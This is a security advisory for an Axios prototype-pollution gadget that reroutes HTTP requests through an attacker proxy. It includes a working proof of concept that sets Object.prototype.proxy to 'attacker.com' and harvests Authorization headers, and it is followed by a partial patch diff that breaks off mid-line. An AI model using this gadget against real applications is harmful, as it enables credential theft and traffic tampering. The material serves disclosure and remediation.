axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Description
# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why
This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has **no own
proxyproperty** - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of
Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
3. The Execution
At http.js:668-670: ``javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ``
setProxy() at http.js:191-239 then: ``javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ``
4. The Impact (Full MITM)
The attacker's proxy server receives:
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
Verified
PoC Output
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
Impact
Analysis
- Full Credential Interception: Every HTTP request's
Authorizationheader, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like
transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
- Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
- Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
- Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why
This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended
Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
// In lib/core/mergeConfig.js
const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution
- CWE-441: Unintended Proxy
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Axios library is vulnerable to a prototype pollution gadget in config.proxy enabling full MITM attack on all HTTP requests.
Vulnerability
Axios library (all versions v0.x to v1.x including v1.15.0) is vulnerable to a prototype pollution gadget in the HTTP adapter at lib/adapters/http.js:670. The code reads config.proxy via standard property access, which traverses the prototype chain. Since proxy is not present in Axios defaults, the merged config object lacks an own proxy property, making it trivially injectable via prototype pollution. Once Object.prototype.proxy is polluted, the setProxy() function routes all HTTP requests through the attacker's proxy server [1][2].
Exploitation
An attacker must first achieve prototype pollution in the application's dependency tree (e.g., via vulnerable libraries like qs, minimist, ini, or body-parser). By assigning Object.prototype.proxy = {host:'attacker', port:8080}, all subsequent Axios HTTP requests are transparently forwarded to the attacker-controlled proxy. No authentication or user interaction is required [1][2].
Impact
Successful exploitation grants the attacker a full Man-in-the-Middle (MITM) position, enabling interception, reading, and modification of all HTTP traffic, including authentication credentials (Authorization headers, cookies, request bodies). Confidentiality and integrity are completely compromised; availability impact is low [1][2].
Mitigation
As of the disclosure date (2026-05-29), no patched version of Axios has been released. The vulnerability can be mitigated by preventing prototype pollution in all application dependencies, avoiding untrusted input parsing, and using Object.freeze(Object.prototype) or similar defensive measures. However, these workarounds do not eliminate the underlying gadget [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
29d92bcd32639fix: gadgets and smaller issues (#10833)
23 files changed · +1495 −352
docs/pages/advanced/error-handling.md+11 −0 modified@@ -70,3 +70,14 @@ axios.get("/user/12345").catch(function (error) { console.log(error.toJSON()); }); ``` + +To avoid logging secrets from `error.config`, pass a `redact` array in the request config. Matching config keys are masked case-insensitively at any depth when `AxiosError#toJSON()` is called. + +```js +axios.get("/user/12345", { + headers: { Authorization: "Bearer token" }, + redact: ["authorization"] +}).catch(function (error) { + console.log(error.toJSON().config.headers.Authorization); // [REDACTED ****] +}); +```
docs/pages/advanced/request-config.md+24 −0 modified@@ -108,6 +108,12 @@ The `data` is the data to be sent as the request body. This can be a string, a p - Browser only: FormData, File, Blob - Node only: Stream, Buffer, FormData (form-data package) +For Node.js `FormData` objects that provide a `getHeaders()` method, axios copies all returned headers by default for v1 compatibility. If the `FormData` object is custom or not fully trusted, set `formDataHeaderPolicy: 'content-only'` to copy only `Content-Type` and `Content-Length`, and set any other request headers explicitly via the request `headers` config. + +### `formDataHeaderPolicy` <Badge type="warning" text="Node.js only" /> + +Controls how axios copies headers returned by Node.js `FormData#getHeaders()`. The default is `'legacy'`, which copies all returned headers to preserve existing v1 behavior. Set `'content-only'` to copy only `Content-Type` and `Content-Length` from `getHeaders()`. + ### `timeout` The `timeout` is the number of milliseconds before the request times out. If the request takes longer than `timeout`, the request will be aborted. @@ -206,6 +212,22 @@ The `maxContentLength` property defines the maximum number of bytes that the ser The `maxBodyLength` property defines the maximum number of bytes that the server will accept in the request. +### `redact` + +The `redact` property is an optional array of config key names to mask when an `AxiosError` is serialized with `toJSON()`. Matching is case-insensitive and recursive across the serialized request config. Matching values are replaced with `[REDACTED ****]`. + +`redact` only affects error serialization. It does not change request data, headers, or the original config object. + +```js +axios.get('/user/12345', { + headers: { Authorization: 'Bearer token' }, + auth: { username: 'me', password: 'secret' }, + redact: ['authorization', 'password'] +}).catch((error) => { + console.log(error.toJSON().config); +}); +``` + ### `validateStatus` The `validateStatus` function allows you to override the default status code validation. By default, axios will reject the promise if the status code is not in the range of 200-299. You can override this behavior by providing a custom `validateStatus` function. The function should return `true` if the status code is within the range you want to accept. @@ -362,6 +384,7 @@ The `maxRate` property defines the maximum **bandwidth** (in bytes per second) f data: { firstName: "Fred" }, + formDataHeaderPolicy: "legacy", // Syntax alternative to send data into the body method post only the value is sent, not the key data: "Country=Brasil&City=Belo Horizonte", timeout: 1000, @@ -387,6 +410,7 @@ The `maxRate` property defines the maximum **bandwidth** (in bytes per second) f }, maxContentLength: 2000, maxBodyLength: 2000, + redact: ['authorization', 'password'], validateStatus: function (status) { return status >= 200 && status < 300; },
index.d.cts+2 −0 modified@@ -552,6 +552,8 @@ declare namespace axios { http2Options?: Record<string, any> & { sessionTimeout?: number; }; + formDataHeaderPolicy?: 'legacy' | 'content-only'; + redact?: string[]; } // Alias
index.d.ts+2 −0 modified@@ -447,6 +447,8 @@ export interface AxiosRequestConfig<D = any> { http2Options?: Record<string, any> & { sessionTimeout?: number; }; + formDataHeaderPolicy?: 'legacy' | 'content-only'; + redact?: string[]; } // Alias
lib/adapters/adapters.js+4 −2 modified@@ -25,11 +25,13 @@ const knownAdapters = { utils.forEach(knownAdapters, (fn, value) => { if (fn) { try { - Object.defineProperty(fn, 'name', { value }); + // Null-proto descriptors so a polluted Object.prototype.get cannot turn + // these data descriptors into accessor descriptors on the way in. + Object.defineProperty(fn, 'name', { __proto__: null, value }); } catch (e) { // eslint-disable-next-line no-empty } - Object.defineProperty(fn, 'adapterName', { value }); + Object.defineProperty(fn, 'adapterName', { __proto__: null, value }); } });
lib/adapters/http.js+68 −30 modified@@ -47,6 +47,20 @@ const isBrotliSupported = utils.isFunction(zlib.createBrotliDecompress); const { http: httpFollow, https: httpsFollow } = followRedirects; const isHttps = /https:?/; +const FORM_DATA_CONTENT_HEADERS = ['content-type', 'content-length']; + +function setFormDataHeaders(headers, formHeaders, policy) { + if (policy !== 'content-only') { + headers.set(formHeaders); + return; + } + + Object.entries(formHeaders).forEach(([key, val]) => { + if (FORM_DATA_CONTENT_HEADERS.includes(key.toLowerCase())) { + headers.set(key, val); + } + }); +} // Symbols used to bind a single 'error' listener to a pooled socket and track // the request currently owning that socket across keep-alive reuse (issue #10780). @@ -232,30 +246,51 @@ function setProxy(options, configProxy, location, isRedirect) { } } if (proxy) { + // Read proxy fields without traversing the prototype chain. URL instances expose + // username/password/hostname/host/port/protocol via getters on URL.prototype (so + // direct reads are shielded), but plain object proxies — and the `auth` field + // (which URL does not expose) — must be guarded so a polluted Object.prototype + // (e.g. Object.prototype.auth = { username, password }) cannot inject + // attacker-controlled credentials into the Proxy-Authorization header or + // redirect proxying to an attacker-controlled host. + const isProxyURL = proxy instanceof URL; + const readProxyField = (key) => + isProxyURL || utils.hasOwnProp(proxy, key) ? proxy[key] : undefined; + + const proxyUsername = readProxyField('username'); + const proxyPassword = readProxyField('password'); + let proxyAuth = utils.hasOwnProp(proxy, 'auth') ? proxy.auth : undefined; + // Basic proxy authorization - if (proxy.username) { - proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); + if (proxyUsername) { + proxyAuth = (proxyUsername || '') + ':' + (proxyPassword || ''); } - if (proxy.auth) { - // Support proxy auth object form - const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); + if (proxyAuth) { + // Support proxy auth object form. Read sub-fields via own-prop checks so a + // plain object inheriting from polluted Object.prototype cannot leak creds. + const authIsObject = typeof proxyAuth === 'object'; + const authUsername = + authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; + const authPassword = + authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; + const validProxyAuth = Boolean(authUsername || authPassword); if (validProxyAuth) { - proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); - } else if (typeof proxy.auth === 'object') { + proxyAuth = (authUsername || '') + ':' + (authPassword || ''); + } else if (authIsObject) { throw new AxiosError('Invalid proxy authorization', AxiosError.ERR_BAD_OPTION, { proxy }); } - const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); + const base64 = Buffer.from(proxyAuth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; } // Preserve a user-supplied Host header (case-insensitive) so callers can override // the value forwarded to the proxy; otherwise default to the request URL's host. let hasUserHostHeader = false; - for (const name in options.headers) { + for (const name of Object.keys(options.headers)) { if (name.toLowerCase() === 'host') { hasUserHostHeader = true; break; @@ -264,14 +299,15 @@ function setProxy(options, configProxy, location, isRedirect) { if (!hasUserHostHeader) { options.headers.host = options.hostname + (options.port ? ':' + options.port : ''); } - const proxyHost = proxy.hostname || proxy.host; + const proxyHost = readProxyField('hostname') || readProxyField('host'); options.hostname = proxyHost; // Replace 'host' since options is not a URL object options.host = proxyHost; - options.port = proxy.port; + options.port = readProxyField('port'); options.path = location; - if (proxy.protocol) { - options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`; + const proxyProtocol = readProxyField('protocol'); + if (proxyProtocol) { + options.protocol = proxyProtocol.includes(':') ? proxyProtocol : `${proxyProtocol}:`; } } @@ -598,9 +634,12 @@ export default isHttpAdapterSupported && } ); // support for https://www.npmjs.com/package/form-data api - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && - data.getHeaders !== Object.prototype.getHeaders) { - headers.set(data.getHeaders()); + } else if ( + utils.isFormData(data) && + utils.isFunction(data.getHeaders) && + data.getHeaders !== Object.prototype.getHeaders + ) { + setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); if (!headers.hasContentLength()) { try { @@ -724,7 +763,6 @@ export default isHttpAdapterSupported && // Null-prototype to block prototype pollution gadgets on properties read // directly by Node's http.request (e.g. insecureHTTPParser, lookup). - // See GHSA-q8qp-cvcw-x6jj. const options = Object.assign(Object.create(null), { path, method: method, @@ -743,11 +781,9 @@ export default isHttpAdapterSupported && if (config.socketPath) { if (typeof config.socketPath !== 'string') { - return reject(new AxiosError( - 'socketPath must be a string', - AxiosError.ERR_BAD_OPTION_VALUE, - config - )); + return reject( + new AxiosError('socketPath must be a string', AxiosError.ERR_BAD_OPTION_VALUE, config) + ); } if (config.allowedSocketPaths != null) { @@ -761,11 +797,13 @@ export default isHttpAdapterSupported && ); if (!isAllowed) { - return reject(new AxiosError( - `socketPath "${config.socketPath}" is not permitted by allowedSocketPaths`, - AxiosError.ERR_BAD_OPTION_VALUE, - config - )); + return reject( + new AxiosError( + `socketPath "${config.socketPath}" is not permitted by allowedSocketPaths`, + AxiosError.ERR_BAD_OPTION_VALUE, + config + ) + ); } } @@ -816,7 +854,7 @@ export default isHttpAdapterSupported && // Always set an explicit own value so a polluted // Object.prototype.insecureHTTPParser cannot enable the lenient parser - // through Node's internal options copy (GHSA-q8qp-cvcw-x6jj). + // through Node's internal options copy options.insecureHTTPParser = Boolean(own('insecureHTTPParser')); // Create the request @@ -904,7 +942,7 @@ export default isHttpAdapterSupported && if (responseType === 'stream') { // Enforce maxContentLength on streamed responses; previously this - // was applied only to buffered responses. See GHSA-vf2m-468p-8v99. + // was applied only to buffered responses. if (config.maxContentLength > -1) { const limit = config.maxContentLength; const source = responseStream; @@ -1121,7 +1159,7 @@ export default isHttpAdapterSupported && // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the - // other path. See GHSA-5c9x-8gcm-mpgx. + // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength;
lib/core/AxiosError.js+85 −1 modified@@ -1,6 +1,76 @@ 'use strict'; import utils from '../utils.js'; +import AxiosHeaders from './AxiosHeaders.js'; + +const REDACTED = '[REDACTED ****]'; + +function hasOwnOrPrototypeToJSON(source) { + if (utils.hasOwnProp(source, 'toJSON')) { + return true; + } + + let prototype = Object.getPrototypeOf(source); + + while (prototype && prototype !== Object.prototype) { + if (utils.hasOwnProp(prototype, 'toJSON')) { + return true; + } + + prototype = Object.getPrototypeOf(prototype); + } + + return false; +} + +// Build a plain-object snapshot of `config` and replace the value of any key +// (case-insensitive) listed in `redactKeys` with REDACTED. Walks through arrays +// and AxiosHeaders, and short-circuits on circular references. +function redactConfig(config, redactKeys) { + const lowerKeys = new Set(redactKeys.map((k) => String(k).toLowerCase())); + const seen = []; + + const visit = (source) => { + if (source === null || typeof source !== 'object') return source; + if (utils.isBuffer(source)) return source; + if (seen.indexOf(source) !== -1) return undefined; + + if (source instanceof AxiosHeaders) { + source = source.toJSON(); + } + + seen.push(source); + + let result; + if (utils.isArray(source)) { + result = []; + source.forEach((v, i) => { + const reducedValue = visit(v); + if (!utils.isUndefined(reducedValue)) { + result[i] = reducedValue; + } + }); + } else { + if (!utils.isPlainObject(source) && hasOwnOrPrototypeToJSON(source)) { + seen.pop(); + return source; + } + + result = Object.create(null); + for (const [key, value] of Object.entries(source)) { + const reducedValue = lowerKeys.has(key.toLowerCase()) ? REDACTED : visit(value); + if (!utils.isUndefined(reducedValue)) { + result[key] = reducedValue; + } + } + } + + seen.pop(); + return result; + }; + + return visit(config); +} class AxiosError extends Error { static from(error, code, config, request, response, customProps) { @@ -35,6 +105,9 @@ class AxiosError extends Error { // The native Error constructor sets message as non-enumerable, // but axios < v1.13.3 had it as enumerable Object.defineProperty(this, 'message', { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: message, enumerable: true, writable: true, @@ -53,6 +126,17 @@ class AxiosError extends Error { } toJSON() { + // Opt-in redaction: when the request config carries a `redact` array, the + // value of any matching key (case-insensitive, at any depth) is replaced + // with REDACTED in the serialized snapshot. Undefined or empty leaves the + // existing serialization behavior unchanged. + const config = this.config; + const redactKeys = config && utils.hasOwnProp(config, 'redact') ? config.redact : undefined; + const serializedConfig = + utils.isArray(redactKeys) && redactKeys.length > 0 + ? redactConfig(config, redactKeys) + : utils.toJSONObject(config); + return { // Standard message: this.message, @@ -66,7 +150,7 @@ class AxiosError extends Error { columnNumber: this.columnNumber, stack: this.stack, // Axios - config: utils.toJSONObject(this.config), + config: serializedConfig, code: this.code, status: this.status, };
lib/core/AxiosHeaders.js+3 −0 modified@@ -98,6 +98,9 @@ function buildAccessors(obj, header) { ['get', 'set', 'has'].forEach((methodName) => { Object.defineProperty(obj, methodName + accessorName, { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: function (arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); },
lib/core/mergeConfig.js+6 −3 modified@@ -19,11 +19,14 @@ export default function mergeConfig(config1, config2) { config2 = config2 || {}; // Use a null-prototype object so that downstream reads such as `config.auth` - // or `config.baseURL` cannot inherit polluted values from Object.prototype - // (see GHSA-q8qp-cvcw-x6jj). `hasOwnProperty` is restored as a non-enumerable - // own slot to preserve ergonomics for user code that relies on it. + // or `config.baseURL` cannot inherit polluted values from Object.prototype. + // `hasOwnProperty` is restored as a non-enumerable own slot to preserve + // ergonomics for user code that relies on it. const config = Object.create(null); Object.defineProperty(config, 'hasOwnProperty', { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: Object.prototype.hasOwnProperty, enumerable: false, writable: true,
lib/helpers/cookies.js+14 −2 modified@@ -30,8 +30,20 @@ export default platform.hasStandardBrowserEnv read(name) { if (typeof document === 'undefined') return null; - const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)')); - return match ? decodeURIComponent(match[1]) : null; + // Match name=value by splitting on the semicolon separator instead of building a + // RegExp from `name` — interpolating an unescaped string into a RegExp would let + // metacharacters (e.g. `.+?` in an attacker-influenced cookie name) cause ReDoS or + // match the wrong cookie. Browsers may serialize cookie pairs as either ";" or + // "; ", so ignore optional whitespace before each cookie name. + const cookies = document.cookie.split(';'); + for (let i = 0; i < cookies.length; i++) { + const cookie = cookies[i].replace(/^\s+/, ''); + const eq = cookie.indexOf('='); + if (eq !== -1 && cookie.slice(0, eq) === name) { + return decodeURIComponent(cookie.slice(eq + 1)); + } + } + return null; }, remove(name) {
lib/helpers/resolveConfig.js+27 −18 modified@@ -7,6 +7,21 @@ import mergeConfig from '../core/mergeConfig.js'; import AxiosHeaders from '../core/AxiosHeaders.js'; import buildURL from './buildURL.js'; +const FORM_DATA_CONTENT_HEADERS = ['content-type', 'content-length']; + +function setFormDataHeaders(headers, formHeaders, policy) { + if (policy !== 'content-only') { + headers.set(formHeaders); + return; + } + + Object.entries(formHeaders).forEach(([key, val]) => { + if (FORM_DATA_CONTENT_HEADERS.includes(key.toLowerCase())) { + headers.set(key, val); + } + }); +} + /** * Encode a UTF-8 string to a Latin-1 byte string for use with btoa(). * This is a modern replacement for the deprecated unescape(encodeURIComponent(str)) pattern. @@ -15,16 +30,16 @@ import buildURL from './buildURL.js'; * * @returns {string} UTF-8 bytes as a Latin-1 string */ -const encodeUTF8 = (str) => encodeURIComponent(str).replace( - /%([0-9A-F]{2})/gi, - (_, hex) => String.fromCharCode(parseInt(hex, 16)) -); +const encodeUTF8 = (str) => + encodeURIComponent(str).replace(/%([0-9A-F]{2})/gi, (_, hex) => + String.fromCharCode(parseInt(hex, 16)) + ); export default (config) => { const newConfig = mergeConfig({}, config); // Read only own properties to prevent prototype pollution gadgets - // (e.g. Object.prototype.baseURL = 'https://evil.com'). See GHSA-q8qp-cvcw-x6jj. + // (e.g. Object.prototype.baseURL = 'https://evil.com'). const own = (key) => (utils.hasOwnProp(newConfig, key) ? newConfig[key] : undefined); const data = own('data'); @@ -47,8 +62,10 @@ export default (config) => { // HTTP basic authentication if (auth) { - headers.set('Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + headers.set( + 'Authorization', + 'Basic ' + + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } @@ -57,14 +74,7 @@ export default (config) => { headers.setContentType(undefined); // browser handles it } else if (utils.isFunction(data.getHeaders)) { // Node.js FormData (like form-data package) - const formHeaders = data.getHeaders(); - // Only set safe headers to avoid overwriting security headers - const allowedHeaders = ['content-type', 'content-length']; - Object.entries(formHeaders).forEach(([key, val]) => { - if (allowedHeaders.includes(key.toLowerCase())) { - headers.set(key, val); - } - }); + setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } } @@ -79,10 +89,9 @@ export default (config) => { // Strict boolean check — prevents proto-pollution gadgets (e.g. Object.prototype.withXSRFToken = 1) // and misconfigurations (e.g. "false") from short-circuiting the same-origin check and leaking - // the XSRF token cross-origin. See GHSA-xx6v-rp6x-q39c. + // the XSRF token cross-origin. const shouldSendXSRF = - withXSRFToken === true || - (withXSRFToken == null && isURLSameOrigin(newConfig.url)); + withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
lib/helpers/shouldBypassProxy.js+26 −1 modified@@ -87,6 +87,31 @@ const parseNoProxyEntry = (entry) => { return [entryHost, entryPort]; }; +// Convert IPv4-mapped IPv6 (::ffff:0:0/96 prefix) to IPv4 dotted form so both +// sides of a NO_PROXY comparison see the same canonical address. Without this, +// `NO_PROXY=192.168.1.5` would not match a request to `http://[::ffff:192.168.1.5]/` +// (Node's URL parser normalises that to `[::ffff:c0a8:105]`), and vice-versa, +// allowing the proxy-bypass policy to be circumvented by using the alternate +// representation. Returns the input unchanged when not IPv4-mapped. +const IPV4_MAPPED_DOTTED_RE = /^(?:::|(?:0{1,4}:){1,4}:|(?:0{1,4}:){5})ffff:(\d+\.\d+\.\d+\.\d+)$/i; +const IPV4_MAPPED_HEX_RE = /^(?:::|(?:0{1,4}:){1,4}:|(?:0{1,4}:){5})ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; + +const unmapIPv4MappedIPv6 = (host) => { + if (typeof host !== 'string' || host.indexOf(':') === -1) return host; + + const dotted = host.match(IPV4_MAPPED_DOTTED_RE); + if (dotted) return dotted[1]; + + const hex = host.match(IPV4_MAPPED_HEX_RE); + if (hex) { + const high = parseInt(hex[1], 16); + const low = parseInt(hex[2], 16); + return `${high >> 8}.${high & 0xff}.${low >> 8}.${low & 0xff}`; + } + + return host; +}; + const normalizeNoProxyHost = (hostname) => { if (!hostname) { return hostname; @@ -96,7 +121,7 @@ const normalizeNoProxyHost = (hostname) => { hostname = hostname.slice(1, -1); } - return hostname.replace(/\.+$/, ''); + return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, '')); }; export default function shouldBypassProxy(location) {
lib/helpers/validator.js+1 −1 modified@@ -87,7 +87,7 @@ function assertOptions(options, schema, allowUnknown) { while (i-- > 0) { const opt = keys[i]; // Use hasOwnProperty so a polluted Object.prototype.<opt> cannot supply - // a non-function validator and cause a TypeError. See GHSA-q8qp-cvcw-x6jj. + // a non-function validator and cause a TypeError. const validator = Object.prototype.hasOwnProperty.call(schema, opt) ? schema[opt] : undefined; if (validator) { const value = options[opt];
lib/utils.js+22 −10 modified@@ -192,21 +192,21 @@ const isFile = kindOfTest('File'); * also have a `name` and `type` attribute to specify filename and content type * * @see https://github.com/facebook/react-native/blob/26684cf3adf4094eb6c405d345a75bf8c7c0bf88/Libraries/Network/FormData.js#L68-L71 - * + * * @param {*} value The value to test - * + * * @returns {boolean} True if value is a React Native Blob, otherwise false */ const isReactNativeBlob = (value) => { return !!(value && typeof value.uri !== 'undefined'); -} +}; /** * Determine if environment is React Native * ReactNative `FormData` has a non-standard `getParts()` method - * + * * @param {*} formData The formData to test - * + * * @returns {boolean} True if environment is React Native, otherwise false */ const isReactNative = (formData) => formData && typeof formData.getParts !== 'undefined'; @@ -259,14 +259,16 @@ const FormDataCtor = typeof G.FormData !== 'undefined' ? G.FormData : undefined; const isFormData = (thing) => { if (!thing) return false; if (FormDataCtor && thing instanceof FormDataCtor) return true; - // Reject plain objects inheriting directly from Object.prototype so prototype-pollution gadgets can't spoof FormData (GHSA-6chq-wfr3-2hj9). + // Reject plain objects inheriting directly from Object.prototype so 